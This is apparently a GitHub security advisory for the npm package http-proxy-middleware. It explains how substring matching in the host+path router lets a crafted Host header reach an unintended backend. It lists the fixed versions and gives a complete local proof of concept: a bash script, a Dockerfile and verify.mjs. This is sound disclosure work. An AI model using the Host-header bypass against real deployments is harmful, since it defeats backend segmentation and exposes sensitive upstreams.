GHSA-64mm-vxmg-q3vj http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass

• npm http-proxy-middleware: >= 3.0.0, < 3.0.6 → fixed in 3.0.6 • npm http-proxy-middleware: >= 4.0.0, < 4.1.0 → fixed in 4.1.0 • npm http-proxy-middleware: >= 0.16.0, < 2.0.10 → fixed in 2.0.10

Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. Details Tested code state: • validated on tag `v4.0.0-beta.5` • corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: • `src/router.ts` • `src/http-proxy-middleware.ts` Affected public API: • `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` File: `run.sh` ```bash !/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: • one default backend returning `DEFAULT` • one alternate backend returning `SECRET` • one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: • baseline request: `STEP baseline-route body=DEFAULT` • crafted request: `STEP crafted-route body=SECRET` • success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.